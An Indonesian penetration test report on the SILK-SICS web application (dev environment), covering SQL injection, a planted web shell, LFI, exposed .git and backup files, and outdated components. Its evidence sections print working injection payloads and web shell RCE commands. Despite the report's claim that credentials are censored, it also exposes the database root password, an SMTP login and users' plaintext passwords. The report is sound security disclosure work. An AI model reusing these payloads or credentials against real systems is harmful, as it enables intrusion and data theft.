| Kontak | Role |
|---|---|
| Edho Ferdian Dwi Cahyo | Pentester |
| — | Reviewer |
| Versi | Deskripsi | Tanggal |
|---|---|---|
| 1.0 | Laporan awal pengujian penetrasi (lingkungan dev/simulasi silk.sucofindo.dev) | 28 Agustus 2026 |
Pengujian keamanan dilakukan pada aplikasi web Sistem Informasi Legalitas Kayu (SILK-SICS) milik PT. Sucofindo pada tanggal 27–28 Agustus 2026 terhadap lingkungan development/simulasi di silk.sucofindo.dev (IP 35.219.52.126 — GCP). Tujuan pengujian adalah mengidentifikasi, mengevaluasi, dan mendokumentasikan kerentanan keamanan pada aplikasi tersebut. Pengujian dilakukan dengan pendekatan black-box, ditambah grey-box (menggunakan akun simulasi operator) dan analisis source code hasil source-disclosure.
| No | Severity | Status | Deskripsi |
|---|---|---|---|
| 1 | CRITICAL | Open | Unauthenticated SQL Console (Arbitrary SQL Execution) pada report/xlsExport.php |
| 2 | CRITICAL | Open | SQL Injection Boolean-Blind pada lookup/showOutstanding.php (pAreaKerja) |
| 3 | CRITICAL | Open | SQL Injection UNION-Based pada lookup/autoComplete.php |
| 4 | CRITICAL | Open | SQL Injection INSERT pada detail/rekomPPDVL.php (pKeteranganINS) |
| 5 | CRITICAL | Open | SQL Injection UNION-Based pada page/tPilihIndustri.php (pFilterValue) |
| 6 | CRITICAL | Open | SQL Injection Session-Based pada Halaman Publik beranda/rekapitulasi.php |
| 7 | CRITICAL | Open | Web Shell/Backdoor page/WiNK.php — Upload Script Box & Query Box (Indikator Kompromi) |
| 8 | CRITICAL | Open | Indikator Kompromi Berlapis — Commander Web Shell, SEO Spam RPJITU, Redirect diklikaja.id, Backdoor Aktif /tmp/.wsc* |
| 9 | CRITICAL | Open | Adminer 4.8.1 Terekspos Publik + Kredensial Root Database Terbaca dari Source Code |
| 10 | CRITICAL | Open | Kredensial Sensitif Tertanam di Source Code (DB Root, SMTP, WS Pemerintah) |
| 11 | CRITICAL | Open | RCE Terbukti pada Web Root (uid=33 www-data) — Validasi Dampak |
| 12 | HIGH | Open | Arbitrary File Write (.jpg) & Arbitrary File Delete melalui detail/rekomPPDVL.php |
| 13 | HIGH | Open | Local File Inclusion (LFI) pada indexa.php (parameter pPage) |
| 14 | HIGH | Open | Password Akun Tersimpan dalam Format Reversible (base64 fEnc) — Pola Lemah & Monokultur |
| 15 | HIGH | Open | Direktori .git Terekspos — Source Code Penuh (1.165 File) + Repositori GitLab Teridentifikasi |
| 16 | HIGH | Open | Source Code Disclosure Massal via File Backup (.bak / suffix tanggal) |
| 17 | HIGH | Open | Eksposur Cluster Monitoring Internal (Wazuh-POC) via Virtual Host Misconfiguration |
| 18 | HIGH | Open | Library EzPDF (R&OS Cpdf v009) — Unserialize Font Cache & Eval Template (RCE-Ready, Tidak Tereksekusi) |
| 19 | HIGH | Open | Logika Login Window Jam 12:00–17:00 (restriksi kode_industri=0) — Anomali Fungsional/Keamanan |
| 20 | MEDIUM | Open | Komponen Frontend EOL — jQuery 1.4.2–1.10.2 & jQuery-UI 1.8.2 (XSS/Prototype Pollution) |
| 21 | MEDIUM | Open | NuSOAP 0.9.5 EOL (CVE-2010-3070 XSS, CVE-2011-3761 Info Disclosure) |
| 22 | MEDIUM | Open | PHPMailer 5.0 EOL — SMTP Header/CRLF Injection Parsial (CVE-2015-8476) |
| 23 | LOW | Open | Binary CGI Legacy Bisa Diunduh (info disclosure) — cgi-bin/cgiecho, cgiemail |
| 24 | MEDIUM | Open | nginx 1.23.4 — CVE-2023-44487 (HTTP/2 Rapid Reset DoS) |
| 25 | MEDIUM | Open | PHP 5.6.40 EOL — Seluruh CVE 5.6 Tanpa Patch |
| 26 | LOW | Open | Artefak Multi-Platform & File Metadata di Repo (OSINT/Leak Metadata) |
| 27 | INFO | Closed (Verified Blocked) | Upaya RCE via Kerentanan Native — Diblokir Arsitektur (Container Split + Whitelist) — Info Positif |
Gambaran Umum Kerentanan: Ditemukan 27 temuan. Kondisi paling kritis: SQL console tanpa autentikasi sebagai root (report/xlsExport.php), empat vektor SQL Injection (boolean-blind, UNION, INSERT, session-based) yang semuanya mengeksekusi query sebagai root@% MySQL 5.7.44, serta Web Shell/Backdoor WiNK.php yang terbukti menghasilkan RCE (uid=33 www-data). Terdapat indikator kompromi berlapis: web shell publik Commander (SLIDE_10.jpg), SEO-spam RPJITU, redirect diklikaja.id, dan backdoor aktif baru (/.tmp/.wsc*.php, 25-Agu-2026). Positif: seluruh upaya RCE memakai kerentanan native (tanpa backdoor) berhasil diblokir oleh pemisahan container (MySQL & PHP tidak berbagi volume), whitelist upload, dan secure_file_priv — divalidasi eksplisit pada temuan I1.
Laporan ini mendokumentasikan hasil pengujian penetrasi dengan metode Black-box Testing yang dikombinasikan grey-box. Tujuannya adalah mengidentifikasi dan memvalidasi temuan celah keamanan sesuai ruang lingkup yang ditentukan.
Secara umum, pengujian mengadopsi 4 fase berikut: reconnaissance, vulnerability identification, exploitation, dan reporting.
| Ruang Lingkup | Target |
|---|---|
| Website | https://silk.sucofindo.dev (dev/simulasi) |
| Alamat IP | 35.219.52.126 (GCP; port publik 80, 443) |
| Metode | Black-box + grey-box (akun simulasi operator), analisis source disclosure |
| Batasan | Backdoor WiNK/Adminer tidak dilibatkan dalam eksploitasi aktif (hanya bukti dampak minimal yang sudah ada); data produksi tidak disentuh (target adalah lingkungan dev); kredensial disensor dalam laporan |
| Stack terverifikasi | nginx/1.23.4 · PHP/5.6.40 (EOL) · MySQL 5.7.44 (container b656734da0ec, IP 172.18.0.3) · container web terpisah (kernel GCP 6.17.0-1022-gcp) |
| Score | 10.0 (Critical) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Target | https://silk.sucofindo.dev |
| Status | Open |
Deskripsi: File report/xlsExport.php mengeksekusi nilai parameter pShit secara langsung ke mysqli_query() tanpa autentikasi maupun sanitasi. Time-based probe (SLEEP(3)) mengonfirmasi eksekusi: CURRENT_USER() = root@% dengan hak SUPER_priv=Y dan File_priv=Y (MySQL 5.7.44, container b656734da0ec, IP 172.18.0.3). Endpoint ini juga dipanggil oleh backdoor WiNK melalui tombol 'Export to Excel'.
Bukti (Evidence):
GET /report/xlsExport.php?pShit=SELECT SLEEP(3) → delay 3.18 detik (normal 0.17s)
GET /report/xlsExport.php?pShit=SHOW TABLES → 106 tabel dari prod_dbvlegal_new dirender
SELECT IF((SELECT SUPER_priv FROM mysql.user ...)='Y',SLEEP(3),0) → TRUE (root@%)
File_priv=Y terkonfirmasi → dasar OUTFILE (dibatasi secure_file_priv)
Dampak (Impact):
Rekomendasi: Hapus parameter eksekusi SQL mentah; ganti dengan fungsi export berbasis data terstruktur; beri autentikasi & whitelist tabel/kolom; terapkan least-privilege DB (jangan root).
Referensi:
| Score | 9.8 (Critical) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Target | https://silk.sucofindo.dev |
| Status | Open |
Deskripsi: Parameter pAreaKerja (GET) digabung langsung ke query tanpa sanitasi (terbukti dari source lookup/showOutstanding.php01062018: WHERE areakerja=$vAreaKerjaOS). Eksploit boolean-blind berhasil mengekstrak 13.369 nomor invoice dari tabel trxmohon_hdr tanpa autentikasi.
Bukti (Evidence):
GET /lookup/showOutstanding.php?pAreaKerja=1' AND (SELECT COUNT(*) FROM admuser)>0 AND '1'='1 → TRUE
13.369 record no_invoice diekstrak karakter-per-karakter (skrip /tmp/silk_git/extract_invoice2.py)
Source disclosure mengonfirmasi root cause: $vAreaKerjaOS=$_GET['pAreaKerja']; TANPA cleanQuery
User koneksi: root@% — File_priv=Y, SUPER=Y
Dampak (Impact):
Rekomendasi: Validasi numerik + parameterized query; jangan pakai koneksi root pada query aplikasi; aktifkan audit log.
Referensi:
| Score | 9.8 (Critical) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Target | https://silk.sucofindo.dev |
| Status | Open |
Deskripsi: Endpoint lookup (JSON autocomplete) merefleksikan nilai UNION tanpa filter. Endpoint terbukti mengeksekusi ekspresi UNION satu kolom pada koneksi root.
Bukti (Evidence):
GET /lookup/autoComplete.php?pWhat=UB&pKodeIndustri=636 UNION SELECT 'M1' -- → nilai M1 tampil pada output JSON
CURRENT_USER()=root@172.18.0.3 (container Docker MySQL)
Dampak (Impact):
Rekomendasi: Prepared statement untuk seluruh parameter; batasi user DB aplikasi.
Referensi:
| Score | 9.1 (Critical) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Target | https://silk.sucofindo.dev (sesi operator opr-simulasi-crb-01) |
| Status | Open |
Deskripsi: Pada handler upload INS, nilai pKeteranganINS digabung langsung ke statement INSERT INTO trxfiles_mutasi_ins_lks tanpa cleanQuery(). Payload yang menutup VALUES dan mengisi kolom creaby/creadate tereksekusi: row baru masuk dengan marker attacker.
Bukti (Evidence):
Payload: SQLICONF2-112233', 'SYSTEM', '2026-08-27') --
Hasil verifikasi DB via boolean-blind: kata kunci=4691, keterangan='SQLICONF2-112233', creaby='SYSTEM', lokasi='files_mutasi_ins_lks/INS__.jpg'
Flow: upload .jpg → move_uploaded_file sukses ('nama file diubah menjadi INS__.jpg') → INSERT tereksekusi
Titik kedua di pDokumenINS (juga dipakai pada target path — arbitrary write .jpg)
Dampak (Impact):
Rekomendasi: Gunakan parameterized INSERT untuk semua kolom; whitelist folder tujuan upload; jangan pernah meng-eksekusi query dengan user root.
Referensi:
| Score | 8.8 (Critical) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Target | https://silk.sucofindo.dev (sesi operator) |
| Status | Open |
Deskripsi: Filter pencarian (pFilter=NAMA) mencatat $_SESSION['sWhere'] dari pFilterValue tanpa sanitasi, lalu dikenakan pada query daftar industri. UNION berhasil: 11 kolom, kolom-2 dirender sebagai nama industri — exfil langsung di halaman.
Bukti (Evidence):
Payload: x%' AND 1=2 UNION SELECT 1,USER(),3,4,5,6,7,8,9,10,11 --
USER()=root@172.18.0.3 | VERSION()=5.7.44 | DATABASE()=prod_dbvlegalnew | @@hostname=b656734da0ec
Source (tPilihIndustri.php.bak): $vFilter=" AND UCASE(a.nama) LIKE '%".strtoupper($_REQUEST['pFilterValue'])."%' " — TANPA cleanQuery
Dampak (Impact):
Rekomendasi: Parameterized query + session sanitasi; jangan simpan input user mentah ke session.
Referensi:
| Score | 8.8 (Critical) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Target | https://silk.sucofindo.dev |
| Status | Open |
Deskripsi: Halaman publik beranda/rekapitulasi.php menempelkan $_SESSION['sWhere'] langsung ke query SELECT ... FROM mstindustri a {session}. Nilai sWhere di-poison melalui tPilihIndustri (pFilterValue tanpa sanitasi), sehingga sesi yang kita kendalikan mengeksekusi SQLi root pada halaman publik. (Identifikasi berbasis source disclosure .bak; eksploitasi penuh belum dijalankan.)
Bukti (Evidence):
beranda/rekapitulasi.php.bak: $kSQL = "SELECT ... FROM mstindustri a ".$_SESSION['sWhere']."ORDER BY ..."
tPilihIndustri.php.bak: $_SESSION['sWhere']=" AND a.no_SLK = '".@$_REQUEST['pFilterValue']."' " (NOSLK — tanpa cleanQuery)
Dampak (Impact):
Rekomendasi: Tidak pernah menempelkan nilai session ke query; validasi input pada setiap handler; parameterized query.
Referensi:
| Score | 10.0 (Critical) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Target | https://silk.sucofindo.dev/page/WiNK.php |
| Status | Open |
Deskripsi: WiNK.php (143 baris, terbaca penuh) menyediakan UPLOAD SCRIPT BOX (upload file .php ke folder arbitrer tanpa whitelist) dan QUERY BOX (SQL console ke prod_dbvlegalnew sebagai root dengan kredensial hardcoded adm@DB#silk25). Hanya butuh sesi user level mana pun. Terdapat dua versi di repo git (page/ dan page23022022/) serta backup .bak/.bak.bak/.bak.bak.bak yang memperlihatkan pemeliharaan (rename DB prod_dbvlegal_new → prod_dbvlegalnew) — indikator aktivitas berulang.
Bukti (Evidence):
Kode: <h2>UPLOAD SCRIPT BOX</h2> / <h2>QUERY BOX</h2>
mysqli_query(mysqli_connect("mysql_app","root","adm@DB#silk25","prod_dbvlegalnew"), $_REQUEST['pShit'])
Upload w.php → GET /w.php?c=id → uid=33(www-data) — RCE terkonfirmasi (marker WINKEXEC-778812)
Diff .bak.bak.bak → .bak : hanya perubahan nama DB → tool dipelihara sejak lama
File sejenis di repo: 7px.php, dokumen/Iogin.php, wp-sign.php, include/gajahkecil.php
Dampak (Impact):
Rekomendasi: Hapus seluruh file webshell; forensik akses (log, mtime, git history GitLab); rotasi SEMUA kredensial (DB root, SMTP); pemantauan WAF & integritas file.
Referensi:
| Score | 10.0 (Critical) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Target | https://silk.sucofindo.dev |
| Status | Open |
Deskripsi: Selain WiNK, teridentifikasi artefak kompromi lain: beranda/SLIDE_10.jpg berisi web shell publik "Commander" (self-replicate ke .php), SEO-spam RPJITU (460 KB halaman togel di images/berita/index.php dan include/cache.storage/public/jitu/), redirect /incu → diklikaja.id, dan file /tmp/.wsc1d8b1db0.php + /tmp/.wsc1eca8fb7.php (399 KB, timestamp 25-Agu-2026 — 3 hari sebelum audit) yang menunjukkan aktivitas attacker masih aktif.
Bukti (Evidence):
SLIDE_10.jpg (web shell Commander) terverifikasi + SLIDE_10_new.png di repo
images/berita/index.php = 460.142 byte SEO spam togel
HTTP /incu → redirect 302 ke https://diklikaja.id/
/tmp/.wsc*.php — dua file 399.XX KB, mtime 2026-08-25 (aktif!)
Repo git mengandung Iogin.php (login palsu), wp-sign.php (spoof WordPress)
Dampak (Impact):
Rekomendasi: Insiden response: isolasi server, forensik lengkap, hapus semua artefak, rotasi kredensial, hardening.
Referensi:
| Score | 9.8 (Critical) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Target | https://silk.sucofindo.dev/adminer.php |
| Status | Open |
Deskripsi: Adminer 4.8.1 dapat diakses publik tanpa proteksi IP/htpasswd. Kombinasi kredensial yang bocor di source (root / adm@DB#silk25) memungkinkan login penuh ke server MySQL (mysql_app) — login sukses dikonfirmasi di sesi audit awal. Adminer = SQL console GUI; sama dampaknya dengan D1 namun lebih mudah digunakan attacker.
Bukti (Evidence):
GET /adminer.php → halaman login Adminer 4.8.1 (versi tampil pada CSS/Links)
Login root@mysql_app → prod_dbvlegal (sukses, sesi tidak dilanjutkan sesuai scope)
Kredensial sama ditemukan di setiap file app (mysqli_connect("mysql_app","root","adm@DB#silk25",...))
Dampak (Impact):
Rekomendasi: Blokir akses publik ke /adminer.php (IP allowlist/VPN), hapus atau pindahkan file, rotasi password DB root, buat akun aplikasi terpisah ber-route least-privilege.
Referensi:
| Score | 9.1 (Critical) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Target | https://silk.sucofindo.dev |
| Status | Open |
Deskripsi: Source code (terbuka via .git exposure, true source disclosure .bak, dan download langsung) memuat banyak kredensial: root/adm@DB#silk25, SMTP admin-silk/adm@SILK#2019 (172.16.100.245:587), GUSER/GPWD lama admin@silk-sucofindo.biz, serta integrasi SOAP ke liu.dephut.go.id.
Bukti (Evidence):
include/xFile.php: mysqli_connect("mysql_app", "root", "adm@DB#silk25", ...) di seluruh file
fAutoEmail: $mail->Username="admin-silk"; $mail->Password="adm@SILK#2019" (1.72.16.100.245:587 TLS)
xFile.phpsugeng: GUSER='admin@silk-sucofindo.biz' / GPWD='[REDACTED]'
nusoap_client('http://liu.dephut.go.id/ws/server2.php?wsdl','wsdl')
Dampak (Impact):
Rekomendasi: Hapus kredensial dari source; gunakan environment variables/vault; rotasi semua credential; pisahkan akun DB aplikasi vs admin.
Referensi:
| Score | 10.0 (Critical) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Target | https://silk.sucofindo.dev |
| Status | Open |
Deskripsi: Menggunakan celah upload backdoor WiNK (D7), file w.php diunggah ke webroot dan dieksekusi: ?c=id mengembalikan uid=33(www-data) pada Ubuntu/kernel GCP (6.17.0-1022-gcp). Eksekusi kode jarak jauh (RCE) terkonfirmasi end-to-end; sesi berakhir dengan kebijakan freeze backdoor (tidak digunakan lebih lanjut).
Bukti (Evidence):
REQUEST w.php?c=id → uid=33(www-data) gid=33(www-data) groups=33(www-data)
Marker verifikasi eksekusi PHP: WINKEXEC-778812
php_sources & kernel: Linux 6.17.0-1022-gcp (container web) vs hostname MySQL b656734da0ec
Dampak (Impact):
Rekomendasi: Sebagai bagian remediasi D7/D8: pembersihan menyeluruh, monitoring file integrity, WAF.
Referensi:
| Score | 8.1 (High) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H |
| Target | https://silk.sucofindo.dev |
| Status | Open |
Deskripsi: Nilai pDokumenINS (digunakan pada $newnameINS) dan pLokasiINS (dipassing ke unlink()) tidak disanitasi: traversal ../../ memungkinkan menulis file .jpg berisi PHP ke folder webroot mana pun, dan menghapus file arbitrer (termasuk file backup/source lain).
Bukti (Evidence):
$newnameINS = $_REQUEST['pDokumenINS']."_".fDec(...)."_"...".".$extINS; $targetINS='files_mutasi_ins_lks/'.$newnameINS;
unlink($_REQUEST['pLokasiINS']) — delete arbitrer (dikonfirmasi source 2022/2018)
File REKAP_LMK__202607.jpg berisi <?php ... ?> terverifikasi tertulis di files_rekap/
Dampak (Impact):
Rekomendasi: Sanitasi path upload & hapus; batasi direktori tujuan; jangan re-use input sebagai path filesystem.
Referensi:
| Score | 7.7 (High) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| Target | https://silk.sucofindo.dev |
| Status | Open |
Deskripsi: Halaman indexa.php melakukan include("page/".fDec($vPage).".php") tanpa validasi path — traversal ../../ memungkinkan pembacaan/eksekusi file .php mana pun di server (LFI). Digunakan untuk memuat handler detail/rekomPPDVL dan membaca source internal.
Bukti (Evidence):
index.php?pPage=<fenc("../detail/rekomPPDVL")> → handler dieksekusi
include page/../../../../lib/mysql-files/rce.php → ENOENT (konfirmasi container split — file MySQL tak terlihat PHP)
Dampak (Impact):
Rekomendasi: Validasi allowlist halaman pada parameter pPage; jangan include dari input user.
Referensi:
| Score | 7.5 (High) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Target | https://silk.sucofindo.dev (DB prod_dbvlegal - admuser) |
| Status | Open |
Deskripsi: Kolom userPassword menyimpan password dalam base64 fEnc (reversible) bukan hash. Semua password mengikuti pola {kata}#SC1! (backspace, ruzza, biji) — mudah ditebak & berlaku untuk banyak akun. Daftar lengkap diekstrak via SQLi (4 user di dev).
Bukti (Evidence):
administrator (G001) → plaintext backspace#SC1!
afif-badruzzaman (G003) → ruzza#SC1! | ahdian + dr_yuki_mahardhito → biji#SC1! (password sama!)
checkLogin.php: AND a.userPassword = cleanQuery(fEnc($vPassword)) — verifikasi base64, bukan hash
Dampak (Impact):
Rekomendasi: Ganti ke bcrypt/argon2; rotasi semua password; kebijakan password kuat & unik.
Referensi:
| Score | 7.5 (High) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Target | https://silk.sucofindo.dev/silk/.git/ |
| Status | Open |
Deskripsi: Direktori .git dapat diakses; file index berhasil diunduh dan diparse menjadi 1.165 path file (seluruh struktur aplikasi, termasuk backup, file sensitif, dan webshell). Metadata menunjukkan remote origin https://gitlab.com/chyntia1204/svlk.git (privat); SHA blob memungkinkan rekonstruksi source bila objects dapat diakses.
Bukti (Evidence):
GET /silk/.git/index → 79KB di-parse → 1.165 entries
Origin: gitlab.com/chyntia1204/svlk.git (404/privat)
Termasuk page/WiNK.php, 7px.php, dokumen/Iogin.php, wp-sign.php dll
Dampak (Impact):
Rekomendasi: Blokir akses .git di web server (nginx: location ~ /\.git/ deny all); rotasi semua rahasia yang ada di repo.
Referensi:
| Score | 7.5 (High) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Target | https://silk.sucofindo.dev |
| Status | Open |
Deskripsi: File backup *.bak dan varian ber-suffix tanggal (*.php01062018, *.-2022-08-16, dll.) disajikan sebagai teks statis (tidak dieksekusi PHP). Lebih dari 80 file source asli terbaca, termasuk report/genVLegal.php.bak (85 KB, logika ezPDF), tPilihIndustri.php.bak, xlsExport.php.bak, dan seluruh xFile.php versi 2018–2023.
Bukti (Evidence):
GET /report/genVLegal.php.bak → 85.596 byte source asli (ezPDF Cezpdf)
GET /page/tPilihIndustri.php.bak → 7.930 byte source (penyebab SQLi D5)
GET /report/xlsExport.php.bak → 1.874 byte (SQL console tanpa auth)
lookup/showOutstanding.php01062018 → source SQLi D2
Dampak (Impact):
Rekomendasi: Hapus semua suffix/backup dari webroot; deploy hanya file yang diperlukan.
Referensi:
| Score | 7.2 (High) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Target | silk.sucofindo.dev (IP 35.219.52.126, GCP LB) |
| Status | Open |
Deskripsi: Load balancer GCP merespons header Host selain domain utama: Host: incu.silk.sucofindo.dev membocorkan dashboard OpenSearch (osd-name) milik klaster monitoring internal wazuh-poc.asia-southeast2-b.c.pik-vms.internal.
Bukti (Evidence):
GET / dengan Host: incu.silk.sucofindo.dev → header response 'osd-name: wazuh-poc.asia-southeast2-b.c.pik-vms.internal'
Indikasi SIEM Wazuh POC internal terekspos ke publik
Dampak (Impact):
Rekomendasi: Konfigurasi server_name whitelist di LB; nonaktifkan default vhost.
Referensi:
| Score | 7.0 (High) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H |
| Target | https://silk.sucofindo.dev/ezPDF/ |
| Status | Open |
Deskripsi: Library EzPDF versi 009 (R&OS, 2004-2009): class.pdf.php melakukan unserialize() pada file cache font php_*.afm (folder ezPDF/fonts/ writable — cache ditulis library sendiri: php_Helvetica.afm 133 KB), class.ezpdf.php memiliki eval() template. Kondisi RCE siap (PHP 5.6.40 EOL + gadget), namun vektor menulis file .afm tidak tercapai (whitelist upload 9 ekstensi di semua handler) → tidak tereksekusi.
Bukti (Evidence):
class.pdf.php openFont: $this->fonts[$font]=unserialize($tmp[0]);
class.ezpdf.php execTemplate: eval($this->ez['templates'][$id]['code']);
ezPDF/fonts/php_Helvetica.afm → a:22:{s:8:"FontName"... (cache serialized — folder writable)
PHP/5.6.40 (X-Powered-By) — EOL, gadget UAF (CVE-2015-6831/32, CVE-2016-9935)
Dampak (Impact):
Rekomendasi: Hapus ezPDF/upgrade ke driver PDF modern (mPDF/TCPDF); set folder fonts non-writable; patchnya PHP.
Referensi:
| Score | 6.5 (High) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Target | https://silk.sucofindo.dev (checkLogin.php) |
| Status | Open |
Deskripsi: Source checkLogin.phpdefault (patch 28-05-2018) membatasi login: pada pukul 12:00–17:00 waktu server, query login memaksa AND a.kode_industri=0 — hanya akun non-industri yang bisa login; semua akun simulasi (kode_industri=636) ditolak. Ini bukan vulnerabilities klasik, namun anomali yang membingungkan dan berpotensi mengunci operasional cabang.
Bukti (Evidence):
if($jam_sekarang >= $jam1 && $jam_sekarang <= $jam2) { ... AND a.kode_industri=0 ... } else { ... }
Login pada jam di luar window → sukses (terverifikasi); di dalam window → gagal (dikonfirmasi user)
Dampak (Impact):
Rekomendasi: Hapus pembatasan jam; audit siapa yang menambahkan dan mengapa.
Referensi:
| Score | 6.1 (Medium) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N |
| Target | https://silk.sucofindo.dev/stylesheet/, /beranda/ |
| Status | Open |
Deskripsi: jQuery 1.4.2, 1.5.1, 1.9.1, 1.10.2, jQuery-UI 1.8.2 digunakan di seluruh frontend. Terdampak CVE-2012-6708, CVE-2014-6071, CVE-2015-9251, CVE-2019-11358 (prototype pollution), CVE-2020-11022/11023, CVE-2016-7103.
Bukti (Evidence):
beranda/jquery-1.4.2.min.js; stylesheet/cal_jquery-1.10.2.js; stylesheet/jquery-ui-1.8.2.custom.min.js
Dampak (Impact):
Rekomendasi: Upgrade jQuery ≥3.7 & jQuery-UI ≥1.13; audit penggunaan html()/$().
Referensi:
| Score | 5.3 (Medium) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| Target | https://silk.sucofindo.dev/nusoap/ |
| Status | Open |
Deskripsi: NuSOAP 0.9.5 (2010) digunakan untuk integrasi WS LIU (liu.dephut.go.id). Tidak ada RCE, namun XSS & information disclosure terdokumentasi.
Bukti (Evidence):
nusoap/lib/changelog → ending 2010-04-26 v0.9.5
include/xFile.php: nusoap_client('http://liu.dephut.go.id/ws/server2.php?wsdl','wsdl')
Dampak (Impact):
Rekomendasi: Migrasi ke SOAP client modern / REST; patchnya dependensi.
Referensi:
| Score | 5.3 (Medium) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| Target | https://silk.sucofindo.dev (include/phpmailer) |
| Status | Open |
Deskripsi: PHPMailer 5.0 (docs 5.0-phpdocs), EOL. CVE RCE (2016-10033/10045) memerlukan transport mail() — aplikasi memakai IsSMTP sehingga tidak applicable; namun CVE-2015-8476 (CRLF/SMTP injection) parsial relevan karena subject/body dibangun dari input user (mis. detail/gantiBlanko: pNamaImportir, pAlamat1-3).
Bukti (Evidence):
fAutoEmail: $mail->IsSMTP(); Host=172.16.100.245:587; Username=admin-silk
gantiBlanko: $vBody.="... ".$_REQUEST['pNamaImportir']."; ".$_REQUEST['pAlamat1']... (input user ke body)
Dampak (Impact):
Rekomendasi: Sanitasi input untuk subject/body; upgrade PHPMailer ≥6.9.
Referensi:
| Score | 3.7 (Low) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| Target | https://silk.sucofindo.dev/cgi-bin/ |
| Status | Open |
Deskripsi: File cgi-bin/cgiecho, cgiemail, randhtml.cgi, entropybanner.cgi (ELF64, legacy 2000-an) dapat diunduh — menyingkap arsitektur C lama. nginx tidak mengeksekusi CGI (disajikan statis) sehingga bukan RCE.
Bukti (Evidence):
GET /cgi-bin/cgiecho → ELF 64-bit (23.384 byte), strings: X-Mailer: cgiemail, sendmail, HTTP_REFERER
Dampak (Impact):
Rekomendasi: Hapus cgi-bin bila tidak dipakai.
Referensi:
| Score | 5.3 (Medium) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
| Target | https://silk.sucofindo.dev |
| Status | Open |
Deskripsi: nginx 1.23.4 sebelum 1.25.3 rentan HTTP/2 Rapid Reset (CVE-2023-44487) — RST_STREAM loop → resource exhaustion.
Bukti (Evidence):
Server header: nginx/1.23.4 (terverifikasi)
Dampak (Impact):
Rekomendasi: Upgrade nginx ≥1.25.3.
Referensi:
| Score | 6.0 (Medium) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N |
| Target | https://silk.sucofindo.dev |
| Status | Open |
Deskripsi: X-Powered-By: PHP/5.6.40 — EOL sejak April 2019. Ratusan CVE terbuka (contoh CVE-2015-6831/6832 SPL unserialize UAF, CVE-2016-9935 WDDX) — menjadi amplifier gadget untuk vektor unserialize (lihat E7).
Bukti (Evidence):
HTTP response header: X-Powered-By: PHP/5.6.40
Dampak (Impact):
Rekomendasi: Migrasi ke PHP 8.x (atau minimal 7.4+) bersama Web server modern.
Referensi:
| Score | 2.0 (Low) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N |
| Target | https://silk.sucofindo.dev (repo git) |
| Status | Open |
Deskripsi: Repo memuat .DS_Store (Mac) dan images/Thumbs.db (Windows) — metadata environment developer; sitemap.xml memuat domain prod https://silk.sucofindo.co.id (cross-leak domain); robots.txt Disallow: / (over-restrictif, menarik perhatian).
Bukti (Evidence):
filelist: /silk/.DS_Store (10 KB), images/Thumbs.db (411 KB)
sitemap.xml: <loc>https://silk.sucofindo.co.id/</loc> built with Free Online Sitemap Generator
Dampak (Impact):
Rekomendasi: Bersihkan repo dari file metadata; perbaiki robots/sitemap.
Referensi:
| Score | 0.0 (Info) |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N |
| Target | https://silk.sucofindo.dev |
| Status | Closed (Verified Blocked) |
